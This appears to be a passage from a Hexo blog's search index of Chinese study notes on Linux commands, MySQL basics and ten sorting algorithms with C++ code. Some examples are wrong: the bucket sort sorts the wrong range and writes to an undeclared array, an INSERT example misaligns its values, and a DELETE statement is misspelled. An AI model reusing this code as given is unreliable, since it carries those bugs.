ls\n\n\n普通命令为1\n函数为2\n库文件为3\n设备为4\n配置文件为5\n游戏为6\n宏文件为7\n系统命令为8\n内核程序为9\nTK指令为10\n\n\n\n\ntee:读取标准输入的数据,并将其内容输出成文件\n\n-a:附加到既有文件的后面而非覆盖它\n-i:忽略中断信号\n\n\n\n文件内容查看\ncat:正序显示文件内容\n\n-A:相当于-vET的整合选项,可列出一些特殊字符而不是空白\n\n-b:列出行号,仅针对非空白行做行号显示,空白行不标行号\n\n-E:将结尾的断行字节$显示出来\n\n-n:列印出行号,连同空白行也会有行号,与-b的选项不同\n\n-T:将[tab]按键以^I显示出来\n\n-v:列出一些看不出来的特殊字符\n\n\n\ntac:倒序显示文件内容\n\nnl:显示行号\n\n-b:指定行号指定的方式,主要有两种:\n-b a:表示不论是否为空行,也同样列出行号(类似cat -n)\n-b t:如果有空行,空的那一行不要列出行号(默认值)\n\n\n-n:列出行号表示的方法,主要有三种:\n-n ln:行号在荧幕的最左方显示\n-n rn:行号在自己栏位的最右方显示,且不加0\n-n rz:行号在自己栏位的最右方显示,且加0\n\n\n-w:行号栏位的占用的位数\n\n\nmore:一页一页翻动\n有以下按键:\n\n空格:向下翻一页\nenter:向下翻一行\n/字符串:向下搜寻『字符串』这个关键字\n:f:立刻显示出档名以及目前显示的行数\nq:立刻离开more,不再显示该文件内容\nb或Ctrl b:代表往回翻页,不过这动作只对文件有用,对管线无用\n\n\nless\n基本同上,多向上的功能\n\n?字符串:向上搜寻『字符串』这个关键字\nn:重复前一个搜寻(与/或?有关)\nN:反向的重复前一个搜寻(与/或?有关)\n\n\nhead:取文件前几行\n\n\nhead -n 数字 文件\n\n-n后的数字代表显示几行,默认10行\n\ntail:取文件后几行\n\n同上\n查找命令\ngrep\n\nps -ef | grep sshd #查找指定ssh服务进程ps -ef | grep sshd | grep -v grep #查找指定服务进程,排除gerp本身ps -ef | grep sshd -c #查找指定进程个数\n\n\nfind\n\nfind命令在目录结构中搜索文件,并对搜索结果执行指定的操作。 find 默认搜索当前目录及其子目录,并且不过滤任何结果(也就是返回所有文件),将它们全都显示在屏幕上。\nfind . -name "*.log" -ls #在当前目录查找以.log结尾的文件,并显示详细信息。find /root/ -perm 600 #查找/root/目录下权限为600的文件find . -type f -name "*.log" #查找当目录,以.log结尾的普通文件find . -type d | sort #查找当前所有目录并排序find . -size +100M #查找当前目录大于100M的文件\n\n\nlocate\n\nlocate 让使用者可以很快速的搜寻某个路径。默认每天自动更新一次,所以使用locate 命令查不到最新变动过的文件。为了避免这种情况,我们在使用locate查找文件之前可以先使用updatedb命令,手动更新数据库。\nupdatedblocate /etc/sh #搜索etc目录下所有以sh开头的文件locate pwd #查找和pwd相关的所有文件\n\n\nwhereis\n\nwhereis命令是定位可执行文件、源代码文件、帮助文件在文件系统中的位置。这些文件的属性应属于原始代码,二进制文件,或是帮助文件。\nwhereis ls #将和ls文件相关的文件都查找出来\n\n\nwhich\n\nwhich命令的作用是在PATH变量指定的路径中,搜索某个系统命令的位置,并且返回第一个搜索结果。\nwhich pwd #查找pwd命令所在路径which java #查找path中java的路径\n\n链接\n硬链接\n\nA–B,假设B是A的硬链接,那么他们两个指向了同一个文件,允许一个文件拥有多个路径,用户可通过这种机制建立硬链接到一些重要文件上,防止误删\n\n软链接\n\n类似Windows下的快捷方式,删除源文件则快捷方式也无法访问\n\n硬链接相当于镜像,软链接相当于快捷方式\n\ntouch命令创建文件\necho输入字符串\necho "内容" >>file1\n\n创建链接 ln命令\nln 原文件名 新文件名\n\n\n-s:创建一个软链接(符号链接)\n\nvim\n\nfilename存在则打开,不存在则新建\n==会出现路径不一致的问题!==\n\n\n命令模式(Command mode)\n用户刚刚启动 vi/vim,便进入了命令模式\n常用命令:\n\ni:切换到输入模式且在光标所在字符前开始插入\na:切换到输入模式且在光标所在字符后开始插入\no:切换到输入模式且在光标所在行的下面另起一新行插入\nx 删除当前光标所在处的字符\n: 切换到底线命令模式以在最底一行输入命令\n\n命令模式只有一些最基本的命令,因此仍要依靠底线命令模式输入更多命令\n\n输入模式(Insert mode)\n在命令模式下按下i就进入了输入模式\n\n字符按键以及Shift组合:输入字符\nENTER:回车键,换行\nBACK SPACE:退格键,删除光标前一个字符\nDEL:删除键,删除光标后一个字符\nh(←)j(↓)k(↑)l(→):在文本中移动光标\nw:往后移动一个单词\nb:往前移动一个单词\ne:移动到单词末尾\n0:移动到行首\n$:移动到行末\n^:移动到行首第一个非空字符\nCtrl+u:向上翻页\nCtrl+d:向下翻页\nG:跳转到末尾行\ngg:跳转到首行\nL:移到屏幕最下端一行\nM:移到屏幕中间\nH:移到屏幕首行\nf[目标字符]:转到光标后的第一个目标字符(F是往前)\n\n\nn:敲数字然后回车,光标往后移动n行\nHOME/END:移动光标到行首/行尾\nPage Up/Page Down:上/下翻页\nInsert:切换光标为输入/替换模式,光标将变成竖线/下划线\nESC:退出输入模式,切换到命令模式\n\n\n底线命令模式(Last line mode)\n在命令模式下按下:(英文冒号)就进入了底线命令模式\n基本命令(已省略冒号)\n\nw 保存文件\nq 退出程序\n\n按ESC键可随时退出底线命令模式\n\n\n常用命令\n\n\n\n命令\n含义\n\n\n\n:set nu\n设置行号\n\n\n:wq\n储存后离开(若为:wq!则为强制储存后离开)\n\n\nu\n复原前一个动作\n\n\n数字<space>\n光标向右移动这一行的 n 个字符\n\n\n数字<enter>\n光标向下移动n行\n\n\n/word\n向光标之下寻找一个名称为 word 的字符串\n\n\nn\n重复前一个搜寻的动作\n\n\nN\n与 n 刚好相反,为『反向』进行前一个搜寻动作\n\n\n其他vim按键\n","tags":["技术栈"]},{"title":"MySQL","url":"/2024/04/14/MySQL/","content":"MySQL狂神说MySQL\n\n小tips为了网站和数据库的安全性,MySQL内置有root最高用户,划分等级,每个用户对应管理一个数据库,这样保证互不关联,从而不会影响到其他数据库的运行\n–表示注释;/**/为多行注释\n所有语句使用分号;结尾\n如果表名或者字段名是一个特殊字符。就需要带`\n基本的数据库操作命令net start mysql:启动MySQL服务\nnet stop mysql:关闭MySQL服务\nmysql -u root -p:登录MySQL(记得以管理员运行cmd)\nshow database;:查看所有的数据库\n\n所有的语句都使用;结尾,切换数据库时不需要\n\nuse 数据库名:切换数据库\nshow tables;:查看数据库中所有的表\ndescribe 表名;:显示数据库中所有的表的信息\ncreate database 数据库名:创建一个数据库\nexit:退出连接(Ctrl+C强制退出)\n操作数据库结构化查询语句分类\n\n\n名称\n说明\n命令\n\n\n\nDDL(数据定义语言)\n定义和管理数据对象,如数据库、数据表等\nCREATE、DROP、ALTER\n\n\nDML(数据操作语言)\n用于操作数据库对象中所包含的数据\nINSERT、UPDATE、DELETE\n\n\nDQL(数据查询语言)\n用于查询数据库的数据\nSELECT\n\n\nDCL(数据控制语言)\n用于管理数据库的语言,包括管理权限及数据更改\nGRANT、commit、rollback\n\n\n基本操作\n创建数据库\n\nCREATE DATABASE 数据库名\n\n\n删除数据库\n\nDROP DATABASE 数据库名\n\n\n使用数据库\n\nUSE `school`\n\n\n查看数据库\n\nSHOW DATABASES\n\n数据库类型\n数值\n\n\n\n\n类型\n说明\n取值范围\n存储需求/字节\n\n\n\ntinyint\n非常小的数据\n有符值:-2^7^ ~2^7^-1无符号值:0~2^8^-1\n1\n\n\nsmallint\n较小的数据\n有符值:-2^15^ ~2^15^-1无符号值:0~2^16^-1\n2\n\n\nmediumint\n中等大小的数据\n有符值:-2^23^ ~2^23^-1无符号值:0~2^24^-1\n3\n\n\n==int==\n标准的整数\n有符值:-2^31^ ~2^31^-1无符号值:0~2^32^-1\n4\n\n\nbigint\n较大的数据\n有符值:-2^63^ ~2^63^-1无符号值:0~2^64^-1\n8\n\n\nfloat\n单精度浮点数\n±1.17e -38\n4\n\n\ndouble\n双精度浮点数\n±2.22e -308\n8\n\n\ndecimal\n字符串形式的浮点数金融计算时常用\ndecimal(m,d) 参数m<65 是总个数,d<30且 d<m 是小数位\nm个字节\n\n\n\n字符串\n\n\n\n\n类型\n说明\n最大长度/字节\n\n\n\n==char==\n固定长字符串\n0-255\n\n\n==varchar==\n可变字符串\n0-65535\n\n\ntinytext\n微型文本\n2^8^-1\n\n\ntext\n文本串\n2^16^-1\n\n\n\n时间日期\n\njava.util.Date\n\n\n\n类型\n说明\n\n\n\nDATE\nYYYY-MM-DD\n\n\nTIME\nHh:mm:ss\n\n\n==DATETIME==\nYYYY-MM-DD HH:mm:ss\n\n\n==TIMESTAMP==\n时间戳(1970.1.1到现在的毫秒数)\n\n\nYEAR\n表示年份\n\n\n\nyyyy-MM-dd HH:mm:ss年-月-日 时:分:秒 大写是区分“ 月 ”与“ 分 ” HH为什么大写,是为了区分 12小时制 与 24小时制 。 小写的h是12小时制,大写的H是24小时制\n\n\nnull\n\n没有值,未知\n==不要使用null进行算术运算,结果仍为null==\n\nMySQL数据类型的长度和范围\n\n\n※字段属性\nUnsigned\n\n无符号的\n声明该数据列不允许负数\n\nZerofill\n\n0填充的\n不足位数的用0来填充 , 如int(3),5则为005\n\nAuto_InCrement\n\n自动增长 , 每添加一条数据 , 自动在上一个记录数上加 1(默认)\n通常用于设置主键 , 且为整数类型\n可自定义设计主键自增的起始值和步长\n\n当前表设置步长(AUTO_INCREMENT=100):只影响当前表\nSET @@auto_increment_increment=5;影响所有使用自增的表(全局)\n\n\nNULL 和 NOT NULL\n\n默认为NULL , 即没有插入该列的数值\n如果设置为NOT NULL , 则该列必须有值\n\nDefault\n\n设置默认的值\n创建数据库表--目标 : 创建一个school数据库--创建学生表(列,字段)--学号int 登录密码varchar(20) 姓名,性别varchar(2),出生日期(datatime),家庭住址,emailCREATE TABLE IF NOT EXISTS `student` (`id` int(4) NOT NULL AUTO_INCREMENT COMMENT '学号',`name` varchar(30) NOT NULL DEFAULT '匿名' COMMENT '姓名',`pwd` varchar(20) NOT NULL DEFAULT '123456' COMMENT '密码',`sex` varchar(2) NOT NULL DEFAULT '男' COMMENT '性别',`birthday` datetime DEFAULT NULL COMMENT '生日',`address` varchar(100) DEFAULT NULL COMMENT '地址',`email` varchar(50) DEFAULT NULL COMMENT '邮箱',PRIMARY KEY (`id`)) ENGINE=InnoDB DEFAULT CHARSET=utf8\n\n格式\nCREATE TABLE [IF NOT EXISTS] `表名`( `字段名` 列类型 [属性] [索引] [注释], `字段名` 列类型 [属性] [索引] [注释], ... `字段名` 列类型 [属性] [索引] [注释])[表类型][字符集设置][注释]\n\n常用命令\n-- 查看数据库的定义SHOW CREATE DATABASE school;-- 查看数据表的定义SHOW CREATE TABLE student;-- 显示表结构DESC student; -- 设置严格检查模式(不能容错了)SET sql_mode='STRICT_TRANS_TABLES';-- 查看mysql所支持的引擎类型 (表类型)SHOW ENGINES;\n\n数据表类型InnoDB:默认使用\nMyISAM:早些年使用的\n\n\n\n名称\nMyISAM\nInnoDB\n\n\n\n事务处理\n不支持\n支持\n\n\n数据行锁定\n不支持\n支持\n\n\n外键约束\n不支持\n支持\n\n\n全文索引\n支持\n不支持\n\n\n表空间大小\n较小\n较大,约2倍\n\n\n常规使用操作\n\nMYISAM\t节约空间,速度较快\nINNODB\t安全性高,支持事务的处理,支持多表多用户操作\n\n\n数据表的存储位置\n\n位置:Mysql安装目录\\data\\下存放数据表。目录名对应数据库名 , 该目录下文件名对应数据表\n每个库目录存在一个保存当前数据库的选项文件db.opt\n\n注意\n\n\n*.frm\t表结构定义文件\n\n*.MYD\t数据文件 ( data )\n\n*.MYI\t索引文件 ( index )\n\nInnoDB类型数据表只有一个 *.frm文件 , 以及上一级目录的ibdata1文件\n\nMyISAM类型数据表对应三个文件:*.frm\t表结构定义文件*.MYD\t数据文件 ( data )*.MYI\t索引文件 ( index )\n\n\n\n设置数据库表的字符集编码\n\n我们可为数据库、数据表、数据列设定不同的字符集,设定方法:\n\n创建时通过命令来设置\nCREATE TABLE 表名()CHARSET=utf8;\n\n如无设定 , 则根据MySQL数据库配置文件 my.ini 中的参数设定\n\n\n参考链接:http://t.csdn.cn/Vy9j2\n修改、删除表\n修改表(ALTER TABLE)\n\n修改表名:ALTER TABLE 旧表名 RENAME AS 新表名\n添加字段:ALTER TABLE 表名 ADD 字段名 列属性[属性]\n修改字段\n​\tALTER TABLE 表名 MODIFY 字段名 列类型[属性]\n​\tALTER TABLE 表名 CHANGE 旧字段名 新字段名 列属性[属性]\n删除字段:ALTER TABLE 表名 DROP 字段名\n\n删除表\n\nDROP TABLE [IF EXISTS] 表名\nMySQL数据管理外键如果公共关键字在一个关系中是主关键字,那么这个公共关键字被称为另一个关系的外键。由此可见,外键表示了两个关系之间的相关联系。以另一个关系的外键作主关键字的表被称为主表,具有此外键的表被称为主表的从表。\n在实际操作中,将一个表的值放入第二个表来表示关联,所使用的值是第一个表的主键值(在必要时可包括复合主键值)。此时,第二个表中保存这些值的属性称为外键(foreign key)。\n外部作用\n保持数据一致性,完整性,主要目的是控制存储在外键表中的数据,约束。使两张表形成关联,外键只能引用外表中的列的值或使用空值。\n\n创建子表同时创建外键\n\n-- 创建外键的方式一 : 创建子表同时创建外键-- 年级表 (id\\年级名称)CREATE TABLE `grade` (`gradeid` INT(10) NOT NULL AUTO_INCREMENT COMMENT '年级ID',PRIMARY KEY (`gradeid`)) ENGINE=INNODB DEFAULT CHARSET=utf8-- 学生信息表 (学号,姓名,性别,年级,手机,地址,出生日期,邮箱,身份证号)CREATE TABLE `student` (`studentno` INT(4) NOT NULL COMMENT '学号',`gradeid` INT(10) DEFAULT NULL COMMENT '年级',PRIMARY KEY (`studentno`),KEY `FK_gradeid` (`gradeid`),CONSTRAINT `FK_gradeid` FOREIGN KEY (`gradeid`) REFERENCES `grade` (`gradeid`)) ENGINE=INNODB DEFAULT CHARSET=utf8\n\n删除具有主外键关系的表时 , 要先删子表 , 后删主表\n-- 删除外键ALTER TABLE student DROP FOREIGN KEY FK_gradeid;-- 发现执行完上面的,索引还在,所以还要删除索引-- 注:这个索引是建立外键的时候默认生成的ALTER TABLE student DROP INDEX FK_gradeid;\n\n\n创建子表完毕后,修改子表添加外键\n\nALTER TABLE `student`ADD CONSTRAINT `FK_gradeid` FOREIGN KEY (`gradeid`) REFERENCES `grade` (`gradeid`);\n\nALTER TABLE `表名` ADD CONSTRAINT `约束名` FOREIGN KEY (`作为外键的列`) REFERENCES (`哪个字段`)\n==不建议使用(避免数据库过多造成困扰)==\n增删改查\nInsert 添加\n\nINSERT INTO 表名[(字段1,字段2,字段3,...)] VALUES('值1'),('值2'),('值3')\n\n例\nINSERT INTO `student`(name,sex,age) values('张三',18,'男')--另一种形式INSERT INTO Set name='张三',age=18\n\n\nUpdate 修改\n\nUPDATE 表名 SET column_name=value [,column_name1=value1,...] [WHERE condition];\n\n例\nUPDATE student set name='张三' where id=1\n\n\nDelete 删除\n\nDELETE FROM 表名 [WHERE condition];\n\n例\nDELETE FOTM student WHERE id=1\n\n\nTRUNCATE\n\n作用:用于完全清空表数据,但表结构、索引、约束等不变\nTRUNCATE [TABLE] table_name;\n\n\nDELETE与TRUNCATE区别\n\n相同:都能删除数据,不删除表结构,但TRUNCATE速度更快 \n不同:\nTRUNCATE TABLE 重新设置AUTO_INCREMENT计数器\n使用TRUNCATE TABLE不会对事务有影响\n\n\n\n\n\nDELETE删除的问题\n\nInnoDB 自增列会重新从1开始(存在于内存当中,断电即失)\nMyISAM 继续从上一个自增量开始(存在于文件中,不会丢失)\n\n\n\nSELECT\n\n死锁:指两个或两个以上的进程在执行过程中因争夺资源而造成的一种互相等待的现象\n","tags":["技术栈"]},{"title":"Hello World","url":"/2024/04/12/hello-world/","content":"Welcome to Hexo! This is your very first post. Check documentation for more info. If you get any problems when using Hexo, you can find the answer in troubleshooting or you can ask me on GitHub.\nQuick StartCreate a new post$ hexo new "My New Post"\n\nMore info: Writing\nRun server$ hexo server\n\nMore info: Server\nGenerate static files$ hexo generate\n\nMore info: Generating\nDeploy to remote sites$ hexo deploy\n\nMore info: Deployment\n"},{"title":"十大经典排序算法","url":"/2024/04/14/%E5%8D%81%E5%A4%A7%E7%BB%8F%E5%85%B8%E6%8E%92%E5%BA%8F%E7%AE%97%E6%B3%95/","content":"各个算法的时空复杂度及稳定性:\n稳定:如果a原本在b前面,且a=b,排序之后a仍然在b的前面。\n不稳定:如果a原本在b的前面,且a=b,排序之后 a 可能会出现在 b 的后面。\n\n\n一、冒泡排序(Bubble Sort)1、原理基本思想:通过无序区中相邻元素关键字间的比较和位置的交换,使关键字最小的元素像气泡一样浮到最顶部;接着对剩下的元素排序,使得第二小的元素到达顶部,同样的方法直到所有元素排序完成。\n2、步骤①比较相邻的元素。如果第一个比第二个大,就交换它们两个;\n②对每一对相邻元素作同样的工作,从开始第一对到结尾的最后一对,这样在最后的元素应该会是最大的数;\n③针对所有的元素重复步骤①~②,除了最后一个元素,直到排序完成。\n3、动画演示\n4、代码实现void bubble_sort(){ for (int i = n-1; i >= 1; i -- ) { bool flag = true; for (int j = 1; j <= i; j ++ ) if (a[j-1] > a[j]) { swap(a[j-1], a[j]); flag = false; } if (flag) return; }}\n\n二、选择排序(Selection Sort)1、原理选择排序是一种简单直观的排序算法。它的工作原理:首先在未排序序列中找到最小(大)元素,存放到排序序列的起始位置,然后,再从剩余未排序元素中继续寻找最小(大)元素,然后放到已排序序列的末尾。以此类推,直到所有元素均排序完毕。\n2、步骤n个记录的直接选择排序可经过n-1趟直接选择排序得到有序结果。具体算法描述如下:\n\n初始状态:无序区为R[1..n],有序区为空;\n第i趟排序(i=1,2,3…n-1)开始时,当前有序区和无序区分别为R[1..i-1]和R(i..n)。该趟排序从当前无序区中-选出关键字最小的记录R[k],将它与无序区的第1个记录R交换,使R[1..i]和R[i+1..n)分别变为记录个数增加1个的新有序区和记录个数减少1个的新无序区;\nn-1趟结束,数组有序化了。\n\n3、动画演示\n4、代码实现void select_sort(){ for (int i = 0; i < n; i ++ ) { int k = i; for (int j = i+1; j < n; j ++ ) { if (a[j] < a[k]) k = j; } swap(a[i], a[k]); }}\n\n三、插入排序(Insertion Sort)1、原理这里主要针对直接插入排序。将元素与已经排序的有序序列比较,找到对应的位置插入。\n2、步骤①从第一个元素开始,该元素可以认为已经被排序;\n②取出下一个元素,在已经排序的元素序列中从后向前扫描;\n③如果该元素(已排序)大于新元素,将该元素移到下一位置;\n④重复步骤3,直到找到已排序的元素小于或者等于新元素的位置;\n⑤将新元素插入到该位置后;\n⑥重复步骤2~5。\n3、动画演示\n4、代码实现void insert_sort(){ for (int i = 1; i < n; i ++ ) { int x = a[i]; int j = i-1; while (j >= 0 && x < a[j]) { a[j+1] = a[j]; j -- ; } a[j+1] = x; }}\n\n四、快速排序(Quick Sort)1、原理一般选择将待排序序列分为两个序列,正中间的那个数作为关键字,然后两个指针一个从头到关键字遍历,遇到大于(小于)关键字的元素就停下来,另一个指针从尾到关键字遍历,遇到小于(大于)关键字的元素停下来,交换两个指针的元素完成排序;将序列递归分治按照前面的原理排序,直到序列有序。\n2、步骤快速排序使用分治法来把一个串(list)分为两个子串(sub-lists)。具体算法描述如下:\n\n选取基准元素(pivot)\n划分,根据选取的pivot将数组划分成小于pivot的部分和大于pivot的部分\n递归求解小于pivot和大于pivot的部分\n\n基准元素可以选择第一个元素或者最后一个元素即Lomuto Partition Scheme,但是这样划分成两部分的时候有一部分是空的,这样可能造成死循环;从中间划分可以保证两部分都不为空,即Hoare Partition Scheme。\n3、动画演示\n4、代码实现void quick_sort(int q[], int l, int r){ if (l >= r) return; int i = l - 1, j = r + 1, x = q[l + r >> 1]; while (i < j) { do i ++ ; while (q[i] < x); do j -- ; while (q[j] > x); if (i < j) swap(q[i], q[j]); } quick_sort(q, l, j), quick_sort(q, j + 1, r);}\n\n快速排序的边界问题\n快排属于分治算法,最怕的就是n分成0和n,或n分成n和0,导致死循环。\n\n以j为划分时,x不能选q[r] (若以i为划分,则x不能选q[l])\n假设x = q[r]\n关键句子quick_sort(q, l, j), quick_sort(q, j + 1, r);\n由于j的最小值是l,所以q[j+1..r]不会造成无限划分\n但q[l..j](即quick_sort(q, l, j))却可能造成无限划分,因为j可能为r\n举例来说,若x选为q[r],数组中q[l..r-1] < x,\n那么这一轮循环结束时i = r, j = r,显然会造成无限划分\n\ndo i++; while q[i]<x和do j–; whileq[j]>x不能用q[i] <= x 和 q[j] >= x\n假设q[l..r]全相等\n则执行完do i++; while(q[i] <= x);之后,i会自增到r+1\n然后继续执行q[i] <= x 判断条件,造成数组下标越界但这貌似不会报错但这貌似不会报错\n并且如果之后的q[i] <= x此时i>r此时i>r条件也不幸成立,\n就会造成一直循环下去亲身实验亲身实验,造成内存超限MemoryLimitExceeded\n\nif(i < j) swap(q[i], q[j])能否使用i <= j\n可以使用if(i <= j) swap(q[i], q[j]);\n因为i = j 时,交换一下q[i],q[j]无影响,因为马上就会跳出循环了\n\n最后一句能否改用quick_sortq,l, j−1,quick_sortq,j,r作为划分用i做划分时也是同样的道理,用i做划分时也是同样的道理,\n不能根据之前的证明,最后一轮循环可以得到这些结论\nj <= i 和 q[l..i-1] <= x, q[i] >= x 和 q[j+1..r] >= x, q[j] <= x\n所以,q[l..j-1] <= x 是显然成立的,\n但quick_sort(q, j, r)中的q[j] 却是 q[j] <= x,这不符合快排的要求\n另外一点,注意quick_sort(q, l, j-1), quick_sort(q, j, r)可能会造成无线划分\n当x选为q[l]时会造成无限划分,报错为MLE,\n如果手动改为x = q[r],可以避免无限划分\n但是上面所说的q[j] <= x的问题依然不能解决,这会造成WA WrongAnswer\n\nj的取值范围为[l..r-1]\n证明:\n假设 j 最终的值为 r ,说明只有一轮循环(两轮的话 j 至少会自减两次)\n说明q[r] <= x 因为要跳出do−while循环因为要跳出do-while循环\n说明 i >= r(while循环的结束条件), i 为 r 或 r + 1必不可能成立必不可能成立\n说明 i 自增到了 r , 说明 q[r] >= x 和 q[l..r-1] < x,\n得出 q[r] = x 和 q[l..r-1] < x 的结论,但这与 x = q[l + r >> 1]矛盾\n反证法得出 j < r\n假设 j 可能小于 l 说明 q[l..r] > x ,矛盾\n反证法得出 j >= l\n\n\n所以 j的取值范围为[l..r-1],不会造成无限划分和数组越界。\n五、希尔排序(Shell Sort)1、原理希尔排序又叫缩小增量排序,也是一种插入排序方法(通常快于直接插入法),具体做法是将整个待排序的记录序列分割成为若干子序列分别进行直接插入排序;\n2、步骤\n1.先选定一个小于N的整数gap作为第一增量,然后将所有距离为gap的元素分在同一组,并对每一组的元素进行直接插入排序。然后再取一个比第一增量小的整数作为第二增量,重复上述操作…\n2.当增量的大小减到1时,就相当于整个序列被分到一组,进行一次直接插入排序,排序完成。\n\n对于增量的选定无一定论,但最后一个增量必须等于1,也就是说,每趟后一个增量是前一个增量的1/2。\n3、动画演示\n4、代码实现void shell_sort(){ for (int gap = n >> 1; gap; gap >>= 1) { for (int i = gap; i < n; i ++ ) { int x = a[i]; int j; for (j = i; j >= gap && a[j-gap] > x; j -= gap) a[j] = a[j-gap]; a[j] = x; } }}\n\n六、归并排序(Merge Sort)1、原理归并排序是建立在归并操作上的一种有效的排序算法。该算法是采用分治法(Divide and Conquer)的一个非常典型的应用。将已有序的子序列合并,得到完全有序的序列;即先使每个子序列有序,再使子序列段间有序。若将两个有序表合并成一个有序表,称为2-路归并。\n2、步骤\n把长度为n的输入序列分成两个长度为n/2的子序列;\n对这两个子序列分别采用归并排序;\n将两个排序好的子序列合并成一个最终的排序序列\n\n3、动画演示\n4、代码实现void merge_sort(int q[], int l, int r){ //递归的终止情况 if(l >= r) return; //第一步:分成子问题 int mid = l + r >> 1; //第二步:递归处理子问题 merge_sort(q, l, mid ), merge_sort(q, mid + 1, r); //第三步:合并子问题 int k = 0, i = l, j = mid + 1, tmp[r - l + 1]; while(i <= mid && j <= r) if(q[i] <= q[j]) tmp[k++] = q[i++]; else tmp[k++] = q[j++]; while(i <= mid) tmp[k++] = q[i++]; while(j <= r) tmp[k++] = q[j++]; for(k = 0, i = l; i <= r; k++, i++) q[i] = tmp[k];}\n\ntmp 保存的是 q[l..mid] , q[mid+1..r] 中从小到大排序的所有数证明(第一个 while 循环)循环不变式: tmp[0..k-1] 保存上述俩数组中从小到大排序的最小 k 个数\n1.初始\n k = 0, tmp[0..k-1] 为空,显然成立\n2.保持\n 假设某轮循环开始之前,循环不变式成立\n 若 q[i] <= q[j], 则 tmp[k] = q[i]\n 其中 q[i] <= q[i+1..mid], q[i] <= q[j] <= q[j+1..r]\n ∴ q[i] 是剩下的所有数中最小的一个\n 当 q[i] > q[j] 时,同理可以得到 tmp[k] = q[j] 是剩下数中最小的一个\n ∴ tmp[k] 是剩下数中最小的一个\n ∴ k自增之后,下轮循环开始之前,tmp[0..k-1]保存从小到大排序的最小k个数\n3.终止\n i > mid 或 j > r\n 则 q[l..mid] 和 q[mid+1..r] 其中一个数组的数都已遍历\n tmp[0..k-1]保存从小到大排序的最小k个数\n七、计数排序(Counting Sort)1、原理 计数排序,又叫非比较排序,其核心在于将输入的数据值转化为键存储在额外开辟的数组空间中。 作为一种线性时间复杂度的排序,计数排序要求输入的数据必须是有确定范围的整数\n2、步骤\n找出待排序的数组中最大和最小的元素;\n统计数组中每个值为i的元素出现的次数,存入数组C的第i项;\n对所有的计数累加(从C中的第一个元素开始,每一项和前一项相加);\n反向填充目标数组:将每个元素i放在新数组的第Ci项,每放一个元素就将Ci减去1。\n\n3、动画演示\n4、代码实现void counting_sort(){ int sorted[N]; int maxv = a[0]; for (int i = 1; i < n; i ++ ) if (maxv < a[i]) maxv = a[i]; int count[maxv+1]; for (int i = 0; i < n; i ++ ) count[a[i]] ++ ; for (int i = 1; i <= maxv; i ++ ) count[i] += count[i-1]; for (int i = n-1; i >= 0; i -- ) { sorted[count[a[i]]-1] = a[i]; count[a[i]] -- ; } for (int i = 0; i < n; i ++ ) a[i] = sorted[i];}\n\n八、基数排序(Radix Sort)1、原理基数排序是按照低位先排序,然后收集;再按照高位排序,然后再收集;依次类推,直到最高位。有时候有些属性是有优先级顺序的,先按低优先级排序,再按高优先级排序。最后的次序就是高优先级高的在前,高优先级相同的低优先级高的在前。\n2、步骤\n取得数组中的最大数,并取得位数;\narr为原始数组,从最低位开始取每个位组成radix数组;\n对radix进行计数排序(利用计数排序适用于小范围数的特点)。\n\n3、动画演示\n4、代码实现int maxbit(){ int maxv = a[0]; for (int i = 1; i < n; i ++ ) if (maxv < a[i]) maxv = a[i]; int cnt = 1; while (maxv >= 10) maxv /= 10, cnt ++ ; return cnt;}void radixsort(){ int t = maxbit(); int radix = 1; for (int i = 1; i <= t; i ++ ) { for (int j = 0; j < 10; j ++ ) count[j] = 0; for (int j = 0; j < n; j ++ ) { int k = (a[j] / radix) % 10; count[k] ++ ; } for (int j = 1; j < 10; j ++ ) count[j] += count[j-1]; for (int j = n-1; j >= 0; j -- ) { int k = (a[j] / radix) % 10; temp[count[k]-1] = a[j]; count[k] -- ; } for (int j = 0; j < n; j ++ ) a[j] = temp[j]; radix *= 10; }}\n\n九、桶排序(Bucket Sort)1、原理遍历原始序列确定最大值maxval和最小值minval,并确定桶的个数n; 然后,将待排序集合中处于同一个值域的元素存入同一个桶中,在桶内使用各种现有的算法进行排序;最后按照从小到大的顺序依次收集桶中的每一个元素, 即为最终结果。\n2、步骤\n1.设置一个定量的数组当作空桶;\n2.遍历输入数据,并且把数据一个一个放到对应的桶里去;\n3.对每个不是空的桶进行排序;\n4.从不是空的桶里把排好序的数据拼接起来。\n\n桶排序是一种用空间换取时间的排序。桶的个数和大小都是我们人为设置的,而每个桶又要避免空桶的情况,所以我们在使用桶排序的时候即需要对待排序数列要求偏均匀,又要要求桶的设计兼顾效率和空间;数要相对均匀分布,桶的个数也要合理设计。在设计桶排序时,需要知道输入数据的上界和下界。\n3、动画演示\n4、代码实现//桶排序 void BucketSort(int a[], int n){ int minval = a[0], maxval = a[0]; for(int i = 0; i < n; i ++){//寻找原序列数组元素的最大值和最小值 minval = min(minval, a[i]); maxval = max(maxval, a[i]); } int bnum = 10;//桶中元素个数 int m = (maxval - minval) / bnum + 1;//桶的个数 vector< vector<int> > bucket(m); //收集,将元素入相应的桶中. 减偏移量是为了将元素映射到更小的区间内,省内存 for(int i = 0; i < n; i ++) bucket[(a[i] - minval) / bnum].push_back(a[i]); //将桶内元素排序 for(int i = 0; i < m; i ++) sort(bucket.begin(), bucket.end()); //收集, 将各个桶中的元素收集到一起 for(int i = 0, k = 0; i < m; i ++){ for(int j = 0; j < bucket[i].size(); j ++){ data[k ++] = bucket[i][j]; } }}\n\n十、堆排序(Heap Sort)1、原理先看看堆的特性:\n\n堆是一种特殊的树形数据结构,即完全二叉树。堆分为大根堆和小根堆,大根堆为根节点的值大于两个子节点的值;小根堆为根节点的值小于两个子节点的值,同时根节点的两个子树也分别是一个堆。\n\n\n堆排序是指利用堆这种数据结构所设计的一种排序算法。堆积是一个近似完全二叉树的结构,并同时满足堆积的性质:即子结点的键值或索引总是小于(或者大于)它的父节点。\n2、步骤\n1.构建堆:将待排序序列构建成一个堆H[0……n-1],从最后一个非叶子结点开始,从左至右,从下至上进行调整。根据升序或降序需求选择大顶堆或小顶堆;\n2.此时的堆顶元素,为最大或者最小元素;\n3.把堆顶元素和堆尾元素互换,调整堆,重新使堆有序;\n4.此时堆顶元素为第二大元素;\n5.重复以上步骤,直到堆变空。\n\n3、动画演示\n4、代码实现void down(int u){ int t = u; if (u<<1 <= n && h[u<<1] < h[t]) t = u<<1; if ((u<<1|1) <= n && h[u<<1|1] < h[t]) t = u<<1|1; if (u != t) { swap(h[u], h[t]); down(t); }}int main(){ for (int i = 1; i <= n; i ++ ) cin >> h[i]; for (int i = n/2; i; i -- ) down(i); while (true) { if (!n) break; cout << h[1] << ' '; h[1] = h[n]; n -- ; down(1); } return 